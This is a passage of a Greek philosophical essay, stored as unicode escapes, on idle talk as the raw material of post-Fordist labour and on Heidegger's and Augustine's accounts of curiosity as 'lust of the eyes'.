\u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b5\u03c2.\n\u0397 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03ad\u03bd\u03b1 \u03b7\u03c7\u03b7\u03c4\u03b9\u03ba\u03cc \u03c5\u03c0\u03cc\u03c3\u03c4\u03c1\u03c9\u03bc\u03b1: \u03ba\u03b1\u03b8\u03b5\u03b1\u03c5\u03c4\u03ae \u03b1\u03c3\u03ae\u03bc\u03b1\u03bd\u03c4\u03b7, (\u03c3\u03b5 \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c3\u03b7 \u03bc\u03b5\n\u03b8\u03bf\u03c1\u03cd\u03b2\u03bf\u03c5\u03c2 \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bd\u03b4\u03ad\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c2 \u03b9\u03b4\u03b9\u03b1\u03af\u03c4\u03b5\u03c1\u03b1 \u03c6\u03b1\u03b9\u03bd\u03cc\u03bc\u03b5\u03bd\u03b1, \u03cc\u03c0\u03c9\u03c2 \u03bc\u03af\u03b1 \u03bc\u03bf\u03c4\u03bf\u03c3\u03b9\u03ba\u03bb\u03ad\u03c4\u03b1 \u03c0\u03bf\u03c5\n\u03c0\u03b5\u03c1\u03bd\u03ac\u03b5\u03b9, \u03ad\u03bd\u03b1 \u03c4\u03c1\u03b1\u03b3\u03bf\u03cd\u03b4\u03b9, \u03ad\u03bd\u03b1 \u03ba\u03bf\u03bc\u03c0\u03c1\u03b5\u03c3\u03ad\u03c1), \u03c0\u03c1\u03bf\u03c3\u03c6\u03ad\u03c1\u03b5\u03b9 \u03cc\u03bc\u03c9\u03c2 \u03c4\u03bf\u03bd \u03ba\u03b1\u03bc\u03b2\u03ac \u03b1\u03c0\u03cc \u03cc\u03c0\u03bf\u03c5\n\u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b5\u03be\u03ac\u03b3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03b7\u03bc\u03b1\u03af\u03bd\u03bf\u03c5\u03c3\u03b5\u03c2 \u03c0\u03b1\u03c1\u03b1\u03bb\u03bb\u03b1\u03b3\u03ad\u03c2, \u03b1\u03c3\u03c5\u03bd\u03ae\u03b8\u03b9\u03c3\u03c4\u03b5\u03c2 \u03c4\u03c1\u03bf\u03c0\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b5\u03b9\u03c2,\n\u03b1\u03c0\u03c1\u03cc\u03b2\u03bb\u03b5\u03c0\u03c4\u03bf\u03c5\u03c2 \u03c3\u03c5\u03bd\u03b4\u03c5\u03b1\u03c3\u03bc\u03bf\u03cd\u03c2. \u0397 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03b4\u03b5\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b9\u03c3\u03c4\u03ac \u03ba\u03ac\u03c4\u03b9, \u03b1\u03bb\u03bb\u03ac \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03b3\u03b9'\n\u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03bb\u03cc\u03b3\u03bf \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03c0\u03b1\u03c1\u03b1\u03b3\u03ac\u03b3\u03b5\u03b9 \u03c4\u03b1 \u03c0\u03ac\u03bd\u03c4\u03b1. \u0391\u03c0\u03cc \u03c4\u03b7 \u03b3\u03ad\u03bd\u03bd\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03bc\u03b5\u03b3\u03ac\u03bb\u03b7\u03c2\n\u03b2\u03b9\u03bf\u03bc\u03b7\u03c7\u03b1\u03bd\u03af\u03b1\u03c2 \u03bc\u03ad\u03c7\u03c1\u03b9 \u03ba\u03b1\u03b9 \u03c4\u03bf \u03c4\u03ad\u03bb\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03b5\u03c0\u03bf\u03c7\u03ae\u03c2 \u03c4\u03bf\u03c5 \u03c6\u03bf\u03c1\u03bd\u03c4\u03b9\u03c3\u03bc\u03bf\u03cd-\u03c4\u03b5\u03ca\u03bb\u03bf\u03c1\u03b9\u03c3\u03bc\u03bf\u03cd, \u03b7\n\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03ba\u03ae \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03c5\u03c0\u03ae\u03c1\u03be\u03b5 \u03c3\u03b9\u03c9\u03c0\u03b7\u03bb\u03ae. \u038c\u03c0\u03bf\u03b9\u03bf\u03c2 \u03b4\u03bf\u03cd\u03bb\u03b5\u03c5\u03b5, \u03c3\u03b9\u03c9\u03c0\u03bf\u03cd\u03c3\u03b5. \u2019\u03c1\u03c7\u03b9\u03b6\u03b5\n\u03ba\u03b1\u03bd\u03b5\u03af\u03c2 \u03bd\u03b1 \u00ab\u03c6\u03bb\u03c5\u03b1\u03c1\u03b5\u03af\u00bb \u03bc\u03cc\u03bd\u03bf \u03bc\u03b5\u03c4\u03ac \u03c4\u03b7\u03bd \u03ad\u03be\u03bf\u03b4\u03bf \u03b1\u03c0\u03cc \u03c4\u03bf \u03b5\u03c1\u03b3\u03bf\u03c3\u03c4\u03ac\u03c3\u03b9\u03bf \u03ae \u03c4\u03bf \u03b3\u03c1\u03b1\u03c6\u03b5\u03af\u03bf. \u0397\n\u03ba\u03cd\u03c1\u03b9\u03b1 \u03ba\u03b1\u03b9\u03bd\u03bf\u03c4\u03bf\u03bc\u03af\u03b1 \u03c4\u03bf\u03c5 \u03bc\u03b5\u03c4\u03b1\u03c6\u03bf\u03c1\u03bd\u03c4\u03b9\u03c3\u03bc\u03bf\u03cd \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u00ab\u03ad\u03c3\u03c4\u03c1\u03c9\u03c3\u03b5 \u03c4\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1 \u03c3\u03c4\u03b7\n\u03b4\u03bf\u03c5\u03bb\u03b5\u03b9\u03ac\u00bb. \u0397 \u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03ba\u03ae \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1 \u03ad\u03b3\u03b9\u03bd\u03b5 \u03b7 \u03c0\u03c1\u03ce\u03c4\u03b7 \u03cd\u03bb\u03b7, \u03c4\u03bf \u03cc\u03c1\u03b3\u03b1\u03bd\u03bf, \u03ba\u03b1\u03b9 \u03c3\u03c5\u03c7\u03bd\u03ac\n\u03c4\u03bf \u03c4\u03b5\u03bb\u03b9\u03ba\u03cc \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c4\u03b7\u03c2 \u03c3\u03cd\u03b3\u03c7\u03c1\u03bf\u03bd\u03b7\u03c2 \u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2. \u0395\u03b4\u03ce \u03c7\u03c1\u03b5\u03b9\u03ac\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c3\u03bf\u03c7\u03ae: \u03b1\u03c0\u03cc\n\u03c4\u03bf\u03bd \u03b5\u03c1\u03b3\u03b1\u03b6\u03cc\u03bc\u03b5\u03bd\u03bf \u03b4\u03b5\u03bd \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af\u03c4\u03b1\u03b9 \u03ad\u03bd\u03b1\u03c2 \u03c3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03bf\u03c2 \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc\u03c2 \u03c4\u03c5\u03c0\u03bf\u03c0\u03bf\u03b9\u03b7\u03bc\u03ad\u03bd\u03c9\u03bd\n\u03c6\u03c1\u03ac\u03c3\u03b5\u03c9\u03bd, \u03b1\u03bb\u03bb\u03ac \u03ad\u03bd\u03b1 \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03b1\u03ba\u03cc \u03c0\u03c1\u03ac\u03c4\u03c4\u03b5\u03b9\u03bd \u03ac\u03c4\u03c5\u03c0\u03bf, \u03b5\u03cd\u03c0\u03bb\u03b1\u03c3\u03c4\u03bf, \u03b9\u03ba\u03b1\u03bd\u03cc \u03bd\u03b1\n\u03b1\u03bd\u03c4\u03b9\u03bc\u03b5\u03c4\u03c9\u03c0\u03af\u03c3\u03b5\u03b9 \u03c4\u03b1 \u03c0\u03bb\u03ad\u03bf\u03bd \u03b4\u03b9\u03ac\u03c6\u03bf\u03c1\u03b1 \u03b5\u03bd\u03b4\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b1. \u0391\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03ba\u03b9\u03bd\u03b7\u03c4\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c4\u03b1\u03b9 \u03b4\u03b5\u03bd\n\u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 parole, \u03b1\u03bb\u03bb\u03ac \u03b7 langue. \u0397 \u03af\u03b4\u03b9\u03b1 \u03b7 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ae \u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1, \u03ba\u03b1\u03b9 \u03cc\u03c7\u03b9 \u03ba\u03ac\u03c0\u03bf\u03b9\u03b1\n\u03b5\u03b9\u03b4\u03b9\u03ba\u03ae \u03b5\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae \u03c4\u03b7\u03c2. \u0397 \u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b1\u03c5\u03c4\u03ae, \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03b7 \u03b3\u03b5\u03bd\u03b9\u03ba\u03ae \u03b4\u03c5\u03bd\u03b1\u03c4\u03cc\u03c4\u03b7\u03c4\u03b1 \u03ac\u03c1\u03b8\u03c1\u03c9\u03c3\u03b7\u03c2\n\u03ba\u03ac\u03b8\u03b5 \u03b5\u03af\u03b4\u03bf\u03c5\u03c2 \u03b1\u03c0\u03bf\u03c6\u03ac\u03bd\u03c3\u03b5\u03c9\u03bd, \u03c0\u03c1\u03bf\u03c3\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03b9\u03b4\u03b9\u03b1\u03af\u03c4\u03b5\u03c1\u03b7 \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03b9\u03ba\u03ae \u03c3\u03b7\u03bc\u03b1\u03c3\u03af\u03b1 \u03c3\u03c4\u03b7\n\u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03c4\u03c9\u03bd \u039c\u039c\u0395. \u03a0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03b9, \u03b5\u03ba\u03b5\u03af \u03b4\u03b5\u03bd \u03bc\u03b5\u03c4\u03c1\u03ac \u03c4\u03cc\u03c3\u03bf \u00ab\u03c4\u03b9 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1 \u03bb\u03ad\u03b3\u03b5\u03c4\u03b1\u03b9\u00bb, \u03cc\u03c3\u03bf \u03c4\u03bf\n\u00ab\u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af\u03c2 \u03bd\u03b1 \u03bb\u03b5\u03c2\u00bb \u03b1\u03c0\u03bb\u03ac \u03ba\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf. \u03a4\u03b1 \u039c\u039c\u0395 \u03b5\u03ba\u03b8\u03ad\u03c4\u03bf\u03c5\u03bd, \u03c3\u03b5 \u03c3\u03c5\u03b3\u03ba\u03b5\u03bd\u03c4\u03c1\u03c9\u03bc\u03ad\u03bd\u03b7\n\u03bc\u03bf\u03c1\u03c6\u03ae, \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03b1\u03ba\u03cc \u03c0\u03c1\u03ac\u03c4\u03c4\u03b5\u03b9\u03bd (\u03bc\u03b7 \u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03b9\u03ba\u03cc, \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03b1\u03c3\u03c4\u03b9\u03ba\u03cc)\n\u03c0\u03bf\u03c5 \u03b4\u03b9\u03b1\u03b4\u03c1\u03b1\u03bc\u03b1\u03c4\u03af\u03b6\u03b5\u03b9 \u03ad\u03bd\u03b1 \u03c1\u03cc\u03bb\u03bf \u03bc\u03b5\u03b3\u03ac\u03bb\u03b7\u03c2 \u03c3\u03c0\u03bf\u03c5\u03b4\u03b1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2 \u03c3\u03b5 \u03cc\u03bb\u03bf\u03c5\u03c2 \u03c4\u03bf\u03c5\u03c2 \u03c4\u03bf\u03bc\u03b5\u03af\u03c2 \u03c4\u03b7\u03c2\n\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03ba\u03ae\u03c2 \u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2. \u03a5\u03c0' \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7\u03bd \u03ad\u03bd\u03bd\u03bf\u03b9\u03b1, \u03b8\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03c3\u03b1\u03bc\u03b5 \u03bd\u03b1 \u03c5\u03c0\u03bf\u03c3\u03c4\u03b7\u03c1\u03af\u03be\u03bf\u03c5\u03bc\u03b5\n\u03cc\u03c4\u03b9 \u03c4\u03b1 \u039c\u039c\u0395 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf \u03c0\u03c1\u03c9\u03c4\u03cc\u03c4\u03c5\u03c0\u03bf, \u03ae \u03c4\u03bf \u00ab\u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03ae\u03c1\u03b9\u03bf\u00bb, \u03c4\u03c9\u03bd \u03bc\u03b5\u03c4\u03b1\u03c6\u03bf\u03c1\u03bd\u03c4\u03b9\u03ba\u03ce\u03bd\n\u03b5\u03c1\u03b3\u03b1\u03c3\u03b9\u03b1\u03ba\u03ce\u03bd \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03b9\u03ce\u03bd.\n\n4. \u0397 \u03b1\u03c0\u03bb\u03b7\u03c3\u03c4\u03af\u03b1 \u03c4\u03b7\u03c2 \u03cc\u03c1\u03b1\u03c3\u03b7\u03c2\n\n\u03a3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03c0\u03b1\u03c1\u03b1\u03b8\u03ad\u03c4\u03b5\u03b9 \u0391\u03c5\u03b3\u03bf\u03c5\u03c3\u03c4\u03af\u03bd\u03bf. \u03a3\u03c4\u03b9\u03c2\nE\u03be\u03bf\u03bc\u03bf\u03bb\u03bf\u03b3\u03ae\u03c3\u03b5\u03b9\u03c2 (\u03b2\u03b9\u03b2\u03bb\u03af\u03bf \u03a7, \u03ba\u03b5\u03c6. 35) \u03bf \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c2 \u03bf\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03c0\u03bf\u03c5\n\u03c0\u03b1\u03c1\u03b1\u03b4\u03af\u03b4\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd oculorum concupiscentia, \u03c3\u03c4\u03b7\u03bd \u03b1\u03c0\u03bb\u03b7\u03c3\u03c4\u03af\u03b1 \u03c4\u03b7\u03c2 \u03cc\u03c1\u03b1\u03c3\u03b7\u03c2,\n\u03bb\u03b1\u03c7\u03c4\u03b1\u03c1\u03ce\u03bd\u03c4\u03b1\u03c2 \u03bd\u03b1 \u03c0\u03b1\u03c1\u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03ae\u03c3\u03b5\u03b9 \u03b8\u03b5\u03ac\u03bc\u03b1\u03c4\u03b1 \u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03b1, \u03b1\u03ba\u03cc\u03bc\u03b1 \u03ba\u03b1\u03b9 \u03c4\u03c1\u03bf\u03bc\u03b5\u03c1\u03ac: \u00ab\u03b7\n\u03b7\u03b4\u03bf\u03bd\u03ae \u03c4\u03c1\u03ad\u03c7\u03b5\u03b9 \u03c0\u03af\u03c3\u03c9 \u03b1\u03c0\u03cc \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03bc\u03bf\u03c1\u03c6\u03bf, \u03ba\u03b1\u03bb\u03b1\u03af\u03c3\u03b8\u03b7\u03c4\u03bf, \u03b1\u03c1\u03bc\u03bf\u03bd\u03b9\u03ba\u03cc, \u03b7\u03b4\u03cd,\n\u03b1\u03c0\u03b1\u03bb\u03cc\u00b7 \u03b7 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03b8\u03ad\u03bb\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03bf\u03ba\u03b9\u03bc\u03ac\u03c3\u03b5\u03b9 \u03ba\u03b1\u03b9 \u03c4\u03b1 \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03ac \u03c4\u03bf\u03c5\u03c2 (...) \u03b1\u03c0\u03cc \u03c4\u03b7\n\u03bc\u03b1\u03bd\u03af\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03ba\u03b9\u03bc\u03ac\u03c3\u03b5\u03b9, \u03bd\u03b1 \u03b3\u03bd\u03c9\u03c1\u03af\u03c3\u03b5\u03b9. \u03a0\u03bf\u03b9\u03b1 \u03b7\u03b4\u03bf\u03bd\u03ae \u03b8\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03c3\u03b5 \u03ac\u03c1\u03b1\u03b3\u03b5 \u03bd\u03b1 \u03b4\u03bf\u03ba\u03b9\u03bc\u03ac\u03c3\u03b5\u03b9\n\u03ba\u03b1\u03bd\u03b5\u03af\u03c2 \u03c3\u03c4\u03b7\u03bd \u03c4\u03c1\u03bf\u03bc\u03b5\u03c1\u03ae \u03b8\u03ad\u03b1 \u03b5\u03bd\u03cc\u03c2 \u03c4\u03b5\u03bc\u03b1\u03c7\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c0\u03c4\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2; (...) \u03ba\u03b9 \u03c9\u03c3\u03c4\u03cc\u03c3\u03bf, \u03cc\u03c0\u03bf\u03c4\u03b5\n\u03c3\u03c5\u03bc\u03b2\u03b5\u03af \u03bd\u03b1 \u03b2\u03c1\u03b5\u03b8\u03b5\u03af \u03bf\u03c0\u03bf\u03c5\u03b4\u03ae\u03c0\u03bf\u03c4\u03b5 \u03ad\u03bd\u03b1 \u03c4\u03ad\u03c4\u03bf\u03b9\u03bf \u03c0\u03c4\u03ce\u03bc\u03b1, \u03cc\u03bb\u03bf\u03b9 \u03c4\u03c1\u03ad\u03c7\u03bf\u03c5\u03bd \u03b5\u03ba\u03b5\u03af\u00bb. \u03a4\u03cc\u03c3\u03bf \u03bf\n\u0391\u03c5\u03b3\u03bf\u03c5\u03c3\u03c4\u03af\u03bd\u03bf\u03c2, \u03cc\u03c3\u03bf \u03ba\u03b1\u03b9 \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03b8\u03b5\u03c9\u03c1\u03bf\u03cd\u03bd \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03c9\u03c2 \u03bc\u03b9\u03b1\n\u03b5\u03ba\u03c6\u03c5\u03bb\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7 \u03ba\u03b1\u03b9 \u03b4\u03b9\u03b5\u03c3\u03c4\u03c1\u03b1\u03bc\u03bc\u03ad\u03bd\u03b7 \u03bc\u03bf\u03c1\u03c6\u03ae \u03c4\u03b7\u03c2 \u03b1\u03b3\u03ac\u03c0\u03b7\u03c2 \u03b3\u03b9\u03b1 \u03c4\u03b7 \u03b3\u03bd\u03ce\u03c3\u03b7. \u0388\u03bd\u03b1 \u03b5\u03c0\u03b9\u03c3\u03c4\u03b7\u03bc\u03b9\u03ba\u03cc\n\u03c0\u03ac\u03b8\u03bf\u03c2, \u03b5\u03bd \u03c4\u03ad\u03bb\u03b5\u03b9. \u03a0\u03c1\u03cc\u03ba\u03b5\u03b9\u03c4\u03b1\u03b9 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03c0\u03bb\u03b7\u03b2\u03b5\u03b9\u03b1\u03ba\u03ae \u03c0\u03b1\u03c1\u03c9\u03b4\u03af\u03b1 \u03c4\u03bf\u03c5 \u03b8\u03b5\u03c9\u03c1\u03b7\u03c4\u03b9\u03ba\u03bf\u03cd \u03b2\u03af\u03bf\u03c5,\n\u03c4\u03b7\u03c2 \u03c3\u03c4\u03bf\u03c7\u03b1\u03c3\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b6\u03c9\u03ae\u03c2 \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03c6\u03b9\u03b5\u03c1\u03c9\u03bc\u03ad\u03bd\u03b7 \u03c3\u03c4\u03b7\u03bd \u03ba\u03b1\u03b8\u03b1\u03c1\u03ae \u03b3\u03bd\u03ce\u03c3\u03b7. \u039f\u03cd\u03c4\u03b5 \u03bf\n\u03c0\u03b5\u03c1\u03af\u03b5\u03c1\u03b3\u03bf\u03c2, \u03bf\u03cd\u03c4\u03b5 \u03bf \u03c6\u03b9\u03bb\u03cc\u03c3\u03bf\u03c6\u03bf\u03c2 \u03c9\u03b8\u03bf\u03cd\u03bd\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c0\u03c1\u03b1\u03ba\u03c4\u03b9\u03ba\u03ac \u03b5\u03bd\u03b4\u03b9\u03b1\u03c6\u03ad\u03c1\u03bf\u03bd\u03c4\u03b1: \u03ba\u03b1\u03b9 \u03bf\u03b9 \u03b4\u03cd\u03bf\n\u03b1\u03c0\u03bf\u03b2\u03bb\u03ad\u03c0\u03bf\u03c5\u03bd \u03c3\u03b5 \u03bc\u03af\u03b1 \u03bc\u03ac\u03b8\u03b7\u03c3\u03b7-\u03b1\u03c5\u03c4\u03bf\u03c3\u03ba\u03bf\u03c0\u03cc, \u03c3\u03b5 \u03bc\u03af\u03b1 \u00ab\u03b8\u03ad\u03b1\u03c3\u03b7\u00bb \u03c7\u03c9\u03c1\u03af\u03c2 \u03b5\u03be\u03c9\u03b3\u03b5\u03bd\u03b5\u03af\u03c2\n\u03c3\u03c4\u03cc\u03c7\u03bf\u03c5\u03c2. \u039c\u03cc\u03bd\u03bf \u03c0\u03bf\u03c5, \u03c3\u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u03bf\u03b9 \u03b1\u03b9\u03c3\u03b8\u03ae\u03c3\u03b5\u03b9\u03c2 \u03c3\u03c6\u03b5\u03c4\u03b5\u03c1\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c4\u03b9\u03c2\n\u03c0\u03c1\u03bf\u03bd\u03bf\u03bc\u03af\u03b5\u03c2 \u03c4\u03b7\u03c2 \u03c3\u03ba\u03ad\u03c8\u03b7\u03c2: \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03b1 \u03bc\u03ac\u03c4\u03b9\u03b1 \u03c4\u03bf\u03c5 \u03c3\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2, \u03ba\u03b1\u03b9 \u03cc\u03c7\u03b9 \u03c4\u03b1 \u03bc\u03b5\u03c4\u03b1\u03c6\u03bf\u03c1\u03b9\u03ba\u03ac\n\u03c4\u03bf\u03c5 \u03c0\u03bd\u03b5\u03cd\u03bc\u03b1\u03c4\u03bf\u03c2, \u03c0\u03bf\u03c5 \u03c0\u03b1\u03c1\u03b1\u03c4\u03b7\u03c1\u03bf\u03cd\u03bd, \u03b5\u03be\u03b5\u03c1\u03b5\u03c5\u03bd\u03bf\u03cd\u03bd, \u03b1\u03be\u03b9\u03bf\u03bb\u03bf\u03b3\u03bf\u03cd\u03bd \u03cc\u03bb\u03b1 \u03c4\u03b1 \u03c6\u03b1\u03b9\u03bd\u03cc\u03bc\u03b5\u03bd\u03b1,\n\u03ac\u03c3\u03c7\u03b5\u03c4\u03b1 \u03b1\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03c0\u03b9\u03c6\u03b1\u03bd\u03b5\u03b9\u03b1\u03ba\u03ac \u03ae \u03b2\u03b1\u03b8\u03b9\u03ac, \u03c6\u03c5\u03c3\u03b9\u03ba\u03ac \u03ae \u03c0\u03bd\u03b5\u03c5\u03bc\u03b1\u03c4\u03b9\u03ba\u03ac. \u0397 \u03c5\u03c0\u03b5\u03c1\u03c4\u03c1\u03bf\u03c6\u03af\u03b1 \u03c4\u03b7\u03c2\n\u03b1\u03b9\u03c3\u03b8\u03b7\u03c4\u03ae\u03c2 \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b1\u03c2 \u03c3\u03c5\u03bd\u03b5\u03c0\u03ac\u03b3\u03b5\u03c4\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03b7 \u03b1\u03c3\u03ba\u03b7\u03c4\u03b9\u03ba\u03ae \u03b8\u03b5\u03c9\u03c1\u03af\u03b1 \u03bc\u03b5\u03c4\u03b1\u03c3\u03c7\u03b7\u03bc\u03b1\u03c4\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7\n\u00ab\u03bc\u03b1\u03bd\u03af\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03ba\u03b9\u03bc\u03ac\u03b6\u03b5\u03b9\u03c2, \u03bd\u03b1 \u03b3\u03bd\u03c9\u03c1\u03af\u03b6\u03b5\u03b9\u03c2\u00bb \u03c4\u03bf\u03c5 voyeur. \u039a\u03b1\u03b9 \u03c4\u03b7\u03bd \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1, \u03cc\u03c0\u03c9\u03c2\n\u03c0\u03c1\u03bf\u03b7\u03b3\u03bf\u03c5\u03bc\u03ad\u03bd\u03c9\u03c2 \u03c4\u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1, \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1 \u03c4\u03b7\u03bd \u03b5\u03bd\u03c4\u03ac\u03c3\u03c3\u03b5\u03b9 \u03c3\u03c4\u03bf \u03c7\u03ce\u03c1\u03bf \u03c4\u03b7\u03c2 \u03bc\u03b7\n\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1\u03c2. \u039a\u03b1\u03b9 \u03b1\u03c5\u03c4\u03ae \u03b4\u03b9\u03b1\u03b4\u03af\u03b4\u03b5\u03c4\u03b1\u03b9 \u03cc\u03c4\u03b1\u03bd \u03b4\u03b9\u03b1\u03ba\u03cc\u03c0\u03c4\u03b5\u03c4\u03b1\u03b9 \u03b7 \u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03ba\u03ae \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1.\n\u03a4\u03cc\u03c4\u03b5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03bf\u03c5 \u03b7 \u00ab\u03b8\u03ad\u03b1\u03c3\u03b7\u00bb, \u03bc\u03ad\u03c7\u03c1\u03b9 \u03b5\u03ba\u03b5\u03af\u03bd\u03b7 \u03c4\u03b7 \u03c3\u03c4\u03b9\u03b3\u03bc\u03ae \u03c0\u03b5\u03c1\u03b9\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7 \u03c3\u03c4\u03b7\u03bd\n\u03b5\u03be\u03c5\u03c0\u03b7\u03c1\u03ad\u03c4\u03b7\u03c3\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03b9\u03b4\u03b9\u03b1\u03af\u03c4\u03b5\u03c1\u03b7\u03c2 \u03b4\u03c1\u03b1\u03c3\u03c4\u03b7\u03c1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2, \u03b3\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03b1\u03bd\u03ae\u03c3\u03c5\u03c7\u03b7, \u03ba\u03b9\u03bd\u03b7\u03c4\u03ae,\n\u03b5\u03c5\u03bc\u03b5\u03c4\u03ac\u03b2\u03bb\u03b7\u03c4\u03b7. \u0397 \u00ab\u03cc\u03c1\u03b1\u03c3\u03b7\u00bb \u03b4\u03b5\u03bd 